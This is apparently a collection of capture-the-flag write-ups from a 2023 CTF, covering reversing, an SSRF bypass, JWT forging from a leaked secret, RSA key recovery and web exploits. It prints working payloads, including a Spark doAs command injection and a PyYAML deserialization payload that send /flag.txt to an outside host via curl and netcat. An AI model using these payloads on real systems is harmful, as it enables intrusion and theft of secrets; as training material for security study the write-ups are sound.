https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':'%5C%5Cn'%7D,'',true,false,true,false)From_Base64('A-Za-z0-9-_',false,false)Unzip('',false)&input=VUVzREJCUURBQUFJQURxRFRWY0FqQmJ5SUFJQUFBVUUKQUFBSUFBQUFaR0YwWVM1amMzWmxrbUZ2bXpBUWhyX3oKS19nQnJ5ZmJZQnktTFV0VHJWV2JWTTJtYnZ2bWd0dTQKQlZ4aG1pcWE5dDkzSnEyRzJFbElkNENldTN2dlhiMkcKd2JlMnZ6akR1ZXZEc0RHdHhaVjVUOWF0Y1ExdTlyNnoKV05aMWIwUEF5ZzFIN0FZeldQeHlMeXRmVzZ6OGF6ZjAKUjV6Unkxdjc2TUpnZTFzbkFwZC0zLUhNV3p4UlVudjcKMlViZ3A4cTNVRW94SVRPV3EwS0RrdlRhdUM3ZERWaDIKeDhHX2RWZ3Q0LXRjNGZ0dUNjbnBWOEVaRjRuRXBhRngKZHEwYjluaWlOTVJzUmk0WG1oVXF6MEQ0ZE4yMEVieWoKUGRfMk5CazJQMEhmcFBpSDVpVVRLc2x3Ni05dFA0eHoKQjktaEg4c1otXzFSMElzeTNacm55RjRmYkg4YS05c1AKRlBTQlQ5Z0xKbm1TWV9jYVRJYzcxelRPdEFFaGxqTzAKbEpKbEZCQmNwRGV1czVHOThhZXA3NWFndFFvMUlXdlMKSkZHNGR0WGUyQVpmLWpoQmU2cm1pcFMwSWdXb1I3cXkKdGVrX05IbHBUR1Z4Zm9Xb2RqR2hGNHlycEVBNGRzLW8KaGdjOE5PYnhkMzJ2ZFZicFduRlJWcXJJS2lrcVhYQXUKTWxPV1VsVl9abjIxMW14QkFWb3JfZUw2YWhfN2JrbXYKY2FtTEs4U3VldEpXeGFVMG1lbmdhbkpEYmZ0NGlqcVcKTTNhZTU2eWdBQ1hrbjVmR3Zodm9RQ0piYkw4aW9oY1QKZGg3UHZDQmZ1LVlZVHhISk5oWXpNZzNNSkVVc3BvY3cKUjJ3dUVhSGxoSnJGQTVjZnB5WDNrQ254ZHFwbVlKcjIKWkI1S1J2Tk1qVGthNkdiNW40RWtreW9SSE52R0had1oKbFFud1l6SERrOGhNVTRDZUQ5LXZtM0RDNF9vQ2tUejEKdldBWlRfNENVRXNCQWo4REZBTUFBQWdBT29OTlZ3Q00KRnZJZ0FnQUFCUVFBQUFnQUpBQUFBQUFBQUFBZ2dMU0IKQUFBQUFHUmhkR0V1WTNOMkNnQWdBQUFBQUFBQkFCZ0EKZ0xGTmRSUC0yUUdBc1UxMUVfN1pBWUN4VFhVVF90a0IKVUVzRkJnQUFBQUFCQUFFQVdnQUFBRVlDQUFBQUFBQUEK

~

Nine-One-Sixteen (warmup)

RFC9116 specifies security.txt

$ curl http://<ctfhost>/.well-known/security.txt

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Contact: mailto:notreal@.rfc9116.com
Expires: 2026-10-30T02:00:00.000Z
Preferred-Languages: flag{7b2bf7ec022acbddb0a75a362f4ce8ff}

-----BEGIN PGP SIGNATURE-----

iHUEARYKAB0WIQSsP2kEdoKDVFpSg6u3rK+YCkjapwUCY9qRaQAKCRC3rK+YCkja
pwALAP9LEHSYMDW4h8QRHg4MwCzUdnbjBLIvpq4QTo3dIqCUPwEA31MsEf95OKCh
MTHYHajOzjwpwlQVrjkK419igx4imgk=
=KONn
-----END PGP SIGNATURE-----

Poppop - Reversing

We're given a binary that needs a single ulong as input...

Obviously we can brute force that - except for a whole bunch of code like this (reversed with Ghidra, fruit-based variables by me...)

    orange = orange * ((orange >> 8 & 0xff) + (orange >> 0x10 & 0xff));
    tmp = swizzle(orange);
    if (0x12 < tmp) {
      sleep(3);
                    /* WARNING: Subroutine does not return */
      exit(6);
    }
    if (tmp != 0x12) {
      sleep(3);
                    /* WARNING: Subroutine does not return */
      exit(5);
    }
    orange = orange * ((orange >> 8 & 0xff) + (orange >> 0x10 & 0xff));
    tmp = swizzle(orange);

Ghidra's C is mostly compilable - so just throw in a for(0 .. 0xfffffff) with a few cleanups, and change the sleep/exit to continue's...

$ gcc  test2.c && ./a.out  | tail -n 4
302000000
303000000
304000000
Success input=304089172 orange=3156731904 apple=10

Throw that at the real binary:

./poppop-x86 304089172
flag{4c5705d939d9c6bcf4bd9bcf18c41927}

test2.c

#include <stdio.h>
unsigned long swizzle(unsigned long param_1)
{
  unsigned long uVar1;

  param_1 = param_1 - (param_1 >> 1 & 0x5555555555555555);
  uVar1 = (param_1 >> 2 & 0x3333333333333333) + (param_1 & 0x3333333333333333);
  return ((uVar1 >> 4) + uVar1 & 0xf0f0f0f0f0f0f0f) * 0x101010101010101 >> 0x38;
}

int main(void)
{
  unsigned int apple;
  unsigned long uVar1;
  int tmp;
  char uVar2;
  unsigned int orange;
  
  for (uVar1=0 ; uVar1 < 0xffffffff ; uVar1++) {
    if (uVar1 % 1000000 == 0)
      printf("%lu\n",uVar1);
    tmp = swizzle(uVar1 & 0xffffffff);
    if (7 < tmp) {
      continue;
    }
    if (tmp != 7) {
      continue;
    }
    orange = (((unsigned int)(uVar1 >> 0x10) & 0xff) + (unsigned int)(char)(uVar1 >> 8)) * (int)uVar1;
    tmp = swizzle(orange);
    if (0xb < tmp) {
      continue;
    }
    if (tmp != 0xb) {
      continue;
    }
    orange = orange * ((orange >> 8 & 0xff) + (orange >> 0x10 & 0xff));
    tmp = swizzle(orange);
    if (0x12 < tmp) {
      continue;
    }
    if (tmp != 0x12) {
      continue;
    }
    orange = orange * ((orange >> 8 & 0xff) + (orange >> 0x10 & 0xff));
    tmp = swizzle(orange);
    if (0xc < tmp) {
      continue;
    }
    if (tmp != 0xc) {
      continue;
    }
    orange = orange * ((orange >> 8 & 0xff) + (orange >> 0x10 & 0xff));
    apple = swizzle(orange);
    if (10 < (int)apple) {
      continue;
    }
    if (apple != 10) {
      continue;
    }
    orange = orange * ((orange >> 8 & 0xff) + (orange >> 0x10 & 0xff));
    tmp = swizzle(orange);
    if (0xd < tmp) {
      continue;
    }
    if (tmp != 0xd) {
      continue;
    }
    orange = orange * ((orange >> 8 & 0xff) + (orange >> 0x10 & 0xff));
    tmp = swizzle(orange);
    if (0xb < tmp) {
      continue;
    }
    if (tmp != 0xb) {
      continue;
    }
    orange = orange * ((orange >> 8 & 0xff) + (orange >> 0x10 & 0xff));
    tmp = swizzle(orange);
    if (10 < tmp) {
      continue;
    }
    if (tmp != 10) {
      continue;
    }
    orange = orange * ((orange >> 8 & 0xff) + (orange >> 0x10 & 0xff));
    printf("Success input=%lu orange=%u apple=%u\n",uVar1,orange,apple);
    break;
//    (*(code *)(&PTR_FUN_001040c0)[(ulong)orange % (ulong)apple])
//              ((ulong)orange / (ulong)apple,8,orange);
//    uVar2 = 0;
  }
}

Protecting Camp

Challenge

I made a small site to keep a list of things I need to buy to keep me safe before I go camping, maybe it's keeping some other things safe too!

Recon

Simple list app in node.js, also has a 'check remote url' api and a /api/flag endpoint which is supposed to be private and only accessible from 127.0.0.1 sources..

This is https://security.snyk.io/vuln/SNYK-JS-PARSEURL-2936249

So we can bypass all the SSRF protections with;

$ curl -v http://challenge.ctf.games:30930/api/check_connection -H 'Content-Type: application/json' --data-binary '{ "url" : "http://google.com:@@127.0.0.1:3000/api/flag"}'
*   Trying 34.123.6.222:30930...
* Connected to challenge.ctf.games (34.123.6.222) port 30930
> POST /api/check_connection HTTP/1.1
> Host: challenge.ctf.games:30930
> User-Agent: curl/8.4.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 56
>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: text/html; charset=utf-8
< Content-Length: 68
< ETag: W/"44-iB7VED8GKkkWIuIzV0ekI3iAXjY"
< Date: Fri, 27 Oct 2023 21:51:54 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
Status Code: 200
Site Data:
flag{d716dd8ab70bbc51a5f1d0182c84bcc8}

Repo Recon

Is a website - with a link to https://github.com/mowzk/repo-recon

Clone it - and run gitleaks https://github.com/gitleaks/gitleaks/releases/tag/v8.18.0

+JWT_SECRET=18b471a7d39b001bf79f12ab952f1364

We can sign a login token ourselves for admin... then access the /flag endpoint - see the challenge source in https://github.com/mowzk/repo-recon/blob/main/server.js#L24-L42

solve.js

const jwt = require('jsonwebtoken');
const JWT_SECRET = '18b471a7d39b001bf79f12ab952f1364'
const username = 'admin'
const token = jwt.sign({ username }, JWT_SECRET, { expiresIn: '1h' });
console.log('Set an auth_token cookie to ' + token)
$ node solve.js
Set an auth_token cookie to eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjk4NDUzNTgyLCJleHAiOjE2OTg0NTcxODJ9.kijKTo7pobG9nSA-VEf03R6aRJvyM8lsCAefkegzVEk

$ curl 'http://challenge.ctf.games:32540/flag'  -H 'Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjk4NDUzNTgyLCJleHAiOjE2OTg0NTcxODJ9.kijKTo7pobG9nSA-VEf03R6aRJvyM8lsCAefkegzVEk'
{"success":true,"flag":"flag{8ee442003863b85514585c598a6a628b}"}

S_H

My friend said that he found a way to use python to make his own SSH keys. He says that he loves being able to set his own value for e. I asked him for an example and he sent me the obfuscated_id_rsa file to keep me from accessing his computer.

Data

We are given a redacted private key:

-----BEGIN RSA PRIVATE KEY-----
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAePgPfju1DWgxJZWKh/qXof
f+N3PjCCPKSpAoIBAQDYetLlj1ZjnEa4lgbf7K9ri+oVhhcIGqaQ867E2Hn4NxHT
GkVBMKqhHmH2Awc/lorAYrcQhl8et6nB1X6qk6w19kLXaMoGM1Ta4jnDBQzJ0A8+
ty8EuMvRdNilHBEUP/lKjcrY4WSgiaeaXFHMBqo8FWhJqlN9DgrPBZ19NhlTvITW
9+CeXJe3gVelCDgptrQnX/YTr2OVq5Jsb/91S1D4Hj72fP/BKzuPA3gVVMJOdW9N
jnDVWcM9MWqwLN+2UYVWRcY8XFFSeiAXN2IDe/U2tUdCPWglgmq7B/otmySf5/Gj
BdauMkI3A95ozOvjgjah/wIeRN/Bo4zKlJ2WE2J9AoIBAQDfqA9NbeHlAJe4x7p7
86q60nNiBVtZZTwdWgXntjZMpliaW1UQyOf2n8XNFoHCN9cS+kbyFEhJAfG365R4
GIyA6hr0ZKjSRPW/5grI6jct+qBjbde6nzrZe91yLlu/6NE61hJ/UDPEsuEGkxpm
fNK6Z4G1Vdb5Kc9xrjQvi1TOnfO4yq3Nd2r2VHaxXkNJKMI1mSDTuHggiEaNKY5k
evHmfNpgxGSUpGVhMqPT9hS/og1xMg3Lbs5YjcGbjZSFUtSLaY0JD3qxqI79Fqgs
f1Fxrzupb9qPkOwNDJjVEAlYmv877X6jXCO/nr7/tth3a9OWVfjBcSkVGE4rfyJC
PgFJAoIBAFbCqDIqgUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-----END RSA PRIVATE KEY-----

Solve

We know that multiple redundant parts of the key are all encoded here, per a recent twitter thread and e.g. https://blog.cryptohack.org/twitter-secrets We basically just work thru that far better writeup :)

Let's look for integer headers "02 82" in ASN.1

(after base64 | od -tx1 )

0000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*
0002360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07
0002400 8f 80 f7 e3 bb 50 d6 83 12 59 58 a8 7f a9 7a 1f
0002420 7f e3 77 3e 30 82 3c a4 a9 02 82 01 01 00 d8 7a   <== here length 0x0101 = 257 (raw_start=0x242d)
0002440 d2 e5 8f 56 63 9c 46 b8 96 06 df ec af 6b 8b ea
0002460 15 86 17 08 1a a6 90 f3 ae c4 d8 79 f8 37 11 d3
0002500 1a 45 41 30 aa a1 1e 61 f6 03 07 3f 96 8a c0 62
0002520 b7 10 86 5f 1e b7 a9 c1 d5 7e aa 93 ac 35 f6 42
0002540 d7 68 ca 06 33 54 da e2 39 c3 05 0c c9 d0 0f 3e
0002560 b7 2f 04 b8 cb d1 74 d8 a5 1c 11 14 3f f9 4a 8d
0002600 ca d8 e1 64 a0 89 a7 9a 5c 51 cc 06 aa 3c 15 68
0002620 49 aa 53 7d 0e 0a cf 05 9d 7d 36 19 53 bc 84 d6
0002640 f7 e0 9e 5c 97 b7 81 57 a5 08 38 29 b6 b4 27 5f
0002660 f6 13 af 63 95 ab 92 6c 6f ff 75 4b 50 f8 1e 3e
0002700 f6 7c ff c1 2b 3b 8f 03 78 15 54 c2 4e 75 6f 4d
0002720 8e 70 d5 59 c3 3d 31 6a b0 2c df b6 51 85 56 45
0002740 c6 3c 5c 51 52 7a 20 17 37 62 03 7b f5 36 b5 47
0002760 42 3d 68 25 82 6a bb 07 fa 2d 9b 24 9f e7 f1 a3
0003000 05 d6 ae 32 42 37 03 de 68 cc eb e3 82 36 a1 ff
0003020 02 1e 44 df c1 a3 8c ca 94 9d 96 13 62 7d 02 82   <== here length 0101 = 257
0003040 01 01 00 df a8 0f 4d 6d e1 e5 00 97 b8 c7 ba 7b
0003060 f3 aa ba d2 73 62 05 5b 59 65 3c 1d 5a 05 e7 b6
0003100 36 4c a6 58 9a 5b 55 10 c8 e7 f6 9f c5 cd 16 81
0003120 c2 37 d7 12 fa 46 f2 14 48 49 01 f1 b7 eb 94 78
0003140 18 8c 80 ea 1a f4 64 a8 d2 44 f5 bf e6 0a c8 ea
0003160 37 2d fa a0 63 6d d7 ba 9f 3a d9 7b dd 72 2e 5b
0003200 bf e8 d1 3a d6 12 7f 50 33 c4 b2 e1 06 93 1a 66
0003220 7c d2 ba 67 81 b5 55 d6 f9 29 cf 71 ae 34 2f 8b
0003240 54 ce 9d f3 b8 ca ad cd 77 6a f6 54 76 b1 5e 43
0003260 49 28 c2 35 99 20 d3 b8 78 20 88 46 8d 29 8e 64
0003300 7a f1 e6 7c da 60 c4 64 94 a4 65 61 32 a3 d3 f6
0003320 14 bf a2 0d 71 32 0d cb 6e ce 58 8d c1 9b 8d 94
0003340 85 52 d4 8b 69 8d 09 0f 7a b1 a8 8e fd 16 a8 2c
0003360 7f 51 71 af 3b a9 6f da 8f 90 ec 0d 0c 98 d5 10
0003400 09 58 9a ff 3b ed 7e a3 5c 23 bf 9e be ff b6 d8
0003420 77 6b d3 96 55 f8 c1 71 29 15 18 4e 2b 7f 22 42
0003440 3e 01 49 02 82 01 00 56 c2 a8 32 2a 81 40 00 00  <== Here Lenth 01 00 = 256
0003460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*
0004440 00 00 00 00 00 00 00 00 00 00 00
0004453

Get us a template to work off:

$ openssl genrsa -out dummy.pem 4096`
$ openssl rsa -in dummy.pem -inform pem -text  | grep -B1 -A2 "^[a-z].*:"
writing RSA key
Private-Key: (4096 bit, 2 primes)
modulus:
    00:c5:4c:2b:86:bc:39:a6:f0:2d:ec:d2:02:52:70:
    f6:c3:6e:10:4a:d2:a3:41:f7:10:2f:9f:17:40:b1:
--
    68:5f:01
publicExponent: 65537 (0x10001)
privateExponent:
    05:ec:a3:30:f4:f5:76:8e:67:3e:a1:7c:14:32:d4:
    02:15:cb:be:47:6e:c3:64:12:69:1a:54:9b:2a:c6:
--
    30:9d
prime1:
    00:e6:e8:bf:dd:00:f9:80:9d:41:de:f2:48:8e:f4:
    84:60:17:b0:85:9a:e6:14:1c:50:ec:42:85:fe:8e:
--
    b7:15
prime2:
    00:da:bc:70:37:38:b5:6d:7a:56:e9:01:fb:c8:7c:
    01:39:86:48:f3:d6:2b:d7:9d:a7:41:18:0d:45:28:
--
    83:3d
exponent1:
    00:d0:5b:34:c5:37:1b:eb:f1:fa:7e:32:21:46:dd:
    5c:95:58:ca:ef:c3:d5:d8:4f:b4:b5:7b:51:6d:61:
--
    0c:01
exponent2:
    6d:3a:c2:b2:e0:cf:c0:de:e1:fd:b3:ae:df:3c:05:
    84:8b:69:6c:d2:9b:cc:2d:7f:33:43:66:85:0d:ca:
--
    65
coefficient:
    00:b5:85:21:b4:a7:28:3d:0a:32:5c:cb:ad:e6:f4:
    7a:bb:8f:8a:37:32:f7:d5:a6:1f:e6:9c:be:cf:49:


$ cat dummy.pem  | grep -v '\-\-\-' | base64 -d  | od -tx1

Note that(in dummy): exponent 2 is 256 long Prime1 is at 0x2063 (after header) Prime2 is at 0x2468

- prime1 @ 0x2063 -
mlashley@home ~/ctf/snyk_2023/s_h $ cat dummy.pem | grep -v '\---' | base64 -d | od -tx1 | grep "00 e6 e8"
0002060 82 01 01 00 e6 e8 bf dd 00 f9 80 9d 41 de f2 48
- prime2 @ 0x2468 - 
mlashley@home ~/ctf/snyk_2023/s_h $ cat dummy.pem | grep -v '\---' | base64 -d | od -tx1 | grep "00 da bc"
0002460 f9 82 b7 15 02 82 01 01 00 da bc 70 37 38 b5 6d

We presumably have

  • last 26 bytes of prime1
  • all of prime2
  • all of exponent1
  • first 6-7 bytes of exponent 2.

We don't know e, it is not 65537 or 3 - but we can loop:

from Crypto.Util.number import isPrime

q =  0x00d87ad2e58f56639c46b89606dfecaf6b8bea158617081aa690f3aec4d879f83711d31a454130aaa11e61f603073f968ac062b710865f1eb7a9c1d57eaa93ac35f642d768ca063354dae239c3050cc9d00f3eb72f04b8cbd174d8a51c11143ff94a8dcad8e164a089a79a5c51cc06aa3c156849aa537d0e0acf059d7d361953bc84d6f7e09e5c97b78157a5083829b6b4275ff613af6395ab926c6fff754b50f81e3ef67cffc12b3b8f03781554c24e756f4d8e70d559c33d316ab02cdfb651855645c63c5c51527a20173762037bf536b547423d6825826abb07fa2d9b249fe7f1a305d6ae32423703de68ccebe38236a1ff021e44dfc1a38cca949d9613627d
dp = 0x00dfa80f4d6de1e50097b8c7ba7bf3aabad27362055b59653c1d5a05e7b6364ca6589a5b5510c8e7f69fc5cd1681c237d712fa46f214484901f1b7eb9478188c80ea1af464a8d244f5bfe60ac8ea372dfaa0636dd7ba9f3ad97bdd722e5bbfe8d13ad6127f5033c4b2e106931a667cd2ba6781b555d6f929cf71ae342f8b54ce9df3b8caadcd776af65476b15e434928c2359920d3b8782088468d298e647af1e67cda60c46494a4656132a3d3f614bfa20d71320dcb6ece588dc19b8d948552d48b698d090f7ab1a88efd16a82c7f5171af3ba96fda8f90ec0d0c98d51009589aff3bed7ea35c23bf9ebeffb6d8776bd39655f8c1712915184e2b7f22423e0149

for e in range (3,65537,2):

    for kp in range(3, e):
        p_mul = dp * e - 1
        if p_mul % kp == 0:
            p = (p_mul // kp) + 1
            if isPrime(p):
                print(f"e={e} Possible p: {p}")

We'll get a bunch of hits - but lets assume 257

e=257 Possible p: 31686209390529354241433907795352571491489917615595621321321201588761706744164594592960435777189570873850993450698178650526527668343711713183336134946920259966369686101403002660496913974177718643484139114550519651282259720248918194296172753679890180854173308282138472794672574658704199752778207419128806160632991702532034274668465745841499860296216977325800120273277300699669501432751243687523313445472221114032700313583212605660944200321468627784426897269244974563038525009222035926245152790119097539578334113376327464030858573930361855845071495333920879519107626372093533166962253423425223289203575933767091348087977

We cannot test against the Modulus as we have no parts...

We do some validatons, and write out a key:

#!/usr/bin/python3
from Crypto.Util.number import isPrime
from Crypto.PublicKey import RSA


e=257
p=31686209390529354241433907795352571491489917615595621321321201588761706744164594592960435777189570873850993450698178650526527668343711713183336134946920259966369686101403002660496913974177718643484139114550519651282259720248918194296172753679890180854173308282138472794672574658704199752778207419128806160632991702532034274668465745841499860296216977325800120273277300699669501432751243687523313445472221114032700313583212605660944200321468627784426897269244974563038525009222035926245152790119097539578334113376327464030858573930361855845071495333920879519107626372093533166962253423425223289203575933767091348087977
q=0x00d87ad2e58f56639c46b89606dfecaf6b8bea158617081aa690f3aec4d879f83711d31a454130aaa11e61f603073f968ac062b710865f1eb7a9c1d57eaa93ac35f642d768ca063354dae239c3050cc9d00f3eb72f04b8cbd174d8a51c11143ff94a8dcad8e164a089a79a5c51cc06aa3c156849aa537d0e0acf059d7d361953bc84d6f7e09e5c97b78157a5083829b6b4275ff613af6395ab926c6fff754b50f81e3ef67cffc12b3b8f03781554c24e756f4d8e70d559c33d316ab02cdfb651855645c63c5c51527a20173762037bf536b547423d6825826abb07fa2d9b249fe7f1a305d6ae32423703de68ccebe38236a1ff021e44dfc1a38cca949d9613627d

p_lower_bits = 0x80f7e3bb50d683125958a87fa97a1f7fe3773e30823ca4a9

dp= 0x00dfa80f4d6de1e50097b8c7ba7bf3aabad27362055b59653c1d5a05e7b6364ca6589a5b5510c8e7f69fc5cd1681c237d712fa46f214484901f1b7eb9478188c80ea1af464a8d244f5bfe60ac8ea372dfaa0636dd7ba9f3ad97bdd722e5bbfe8d13ad6127f5033c4b2e106931a667cd2ba6781b555d6f929cf71ae342f8b54ce9df3b8caadcd776af65476b15e434928c2359920d3b8782088468d298e647af1e67cda60c46494a4656132a3d3f614bfa20d71320dcb6ece588dc19b8d948552d48b698d090f7ab1a88efd16a82c7f5171af3ba96fda8f90ec0d0c98d51009589aff3bed7ea35c23bf9ebeffb6d8776bd39655f8c1712915184e2b7f22423e0149

dq_upper_bits = 0x56c2a8322a81

N = p*q
phi = (p-1)*(q-1)
d = pow(e,-1,phi)

# We have found the two prime factors of the modulus
assert isPrime(p) and isPrime(q) and p*q == N

# Our private exponent matches that from dp recovered
assert d % (p-1) == dp

## The top bits of the Modulus match those recovered
#assert hex(N).startswith(hex(N_upper_bits))

# The prime p matches the low bits
assert hex(p).endswith(hex(p_lower_bits)[2:])

# The derived dq matches the recovered upper bits of dq
assert hex(d % (q-1)).startswith(hex(dq_upper_bits))

key = RSA.construct((N,e,d,p,q))
pem = key.export_key('PEM')
print(pem.decode())

Use that key to access the challenge server:

mlashley@home ~/ctf/snyk_2023/s_h $ ssh -p 32323 -i full_key_recovered.pem challenge@challenge.ctf.games cat flag.txt
flag{67128130ce65193ab51d6e18bd44eb87}

Sparky - Web (easy)

Alright sparky, here's another web application test for you. We're running this in prod but we've given you a separate dev instance to test. No source code, no inside info. Just pwn and profit and tell us how you did it!

Recon

Is apache spark 3.1.1, says on the landing page... CVE-2022-33891

The exploit https://github.com/HuskyHacks/cve-2022-33891has is trivial...

http://localhost:8080/?doAs=`[command injection here]`

http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash` ^^ sleeps for 10 seconds - confirmed on target.

Spent a bunch of time trying netcat, bash reverse shells etc to no fun - then we try simple curl and get it working...

Exploit

curl http://challenge.ctf.games:31946/?doAs=`curl%2084.13.190.6:1234/poo%20-T%20/flag.txt`

Listener for exfiltrated secret

Listening on 0.0.0.0 1234



Connection received on 34.134.112.148 49062
PUT /poo HTTP/1.1
Host: 94.173.197.6:1234
User-Agent: curl/7.64.0
Accept: */*
Content-Length: 39
Expect: 100-continue

flag{1cf5f0f135914e5154a6fe20085b0b7a}

YSON

Some simple web app converting YAML to JSON

Recon

Seems to be using python yaml...

---
a: b
---
c: d

results in Error: expected a single document in the stream in "", line 2, column 1: a: b ^ but found another document in "", line 3, column 1: --- ^

!!python/object/apply:time.sleep [2]

Does take 2 seconds - confirming the theory.

Exploit

Hacktricks gets us close - but we have a bunch of fails and can't get the data returned in an object:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"/flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

!!python/object/apply:subprocess.Popen
- !!python/tuple
  - cat
    - /flag.txt

Error: [Errno 2] No such file or directory: 'cat - /flag.txt'

!!python/object/new:str
- !!python/object/apply:subprocess.run
  - !!python/tuple
    - cat
    - "/flag.txt"

Finally we decide to just exfil with netcat - always try the basics first...

!!python/object/new:str
- !!python/object/apply:subprocess.run
  - !!python/tuple
    - /bin/sh
    - "-c"
    - "cat /flag.txt | nc 94.173.197.6 1234"

flag{6766066cea624a90b1ae5b47a4a320d9}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment